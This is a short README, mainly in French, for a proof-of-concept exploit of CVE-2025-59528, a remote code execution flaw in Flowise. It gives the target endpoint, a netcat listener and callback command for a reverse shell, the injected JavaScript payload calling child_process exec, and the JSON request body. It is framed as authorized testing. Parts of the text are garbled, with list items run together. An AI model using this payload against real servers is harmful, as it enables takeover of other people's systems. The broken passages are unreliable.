
Prova de conceito para CVE-2025-59528, demonstrando execução remota de código autenticada no Flowise via injeção em mcpServerConfig, com etapas reproduzíveis para testes autorizados.
PoC minimal axé sur la validation technique de la vulnérabilité dans un environnement autorisé.
nc -lvn 4444).Démarrez d'abord le listener :
nc -lvn 4444
python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api VOTRE_CLE_API_VALIDE
Remplacez les valeurs par les paramètres de votre environnement autorisé.
3.0.5Exécution de code à distance (RCE)POST /api/v1/node-load-method/customMCPLe problème vient de la façon dont inputs.mcpServerConfig est traité : cette valeur est interprétée d'une manière qui permet l'exécution de JavaScript côté serveur. En pratique, un attaquant authentifié peut injecter une expression qui appelle child_process et exécute une commande système.
Le flux d'exploitation est le suivant :
customMCP.mcpServerConfig.process.mainModule.require('child_process').exec/execSync).Si elle est acceptée, le serveur exécute la commande dans son contexte système.
poc.py)Le script prend quatre arguments :
-d/--domain : domaine cible-lh/--host : IP de rappel-lp/--port : port de rappel-A/--api : jeton API BearerEnsuite, il :
http://<domain>/api/v1/node-load-method/customMCPAuthorization: Bearer <token>({
x: (function () {
const cp = process.mainModule.require("child_process");
cp.exec("<commande>");
return 1;
})(),
});
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "<expression JS injectée>"
}
}
Comparé au PoC EDB (qui effectue une connexion par email/mot de passe, utilise des en-têtes de type navigateur et exécute un --cmd libre), ce script est meilleur pour la validation pure du PoC :
mcpServerConfig et exécution côté serveur.En bref : le script EDB est une démo offensive plus générique, tandis que ce PoC est plus ciblé pour la reproductibilité technique.
https ni de gestion des certificats.--cmd).Testez uniquement sur les systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite.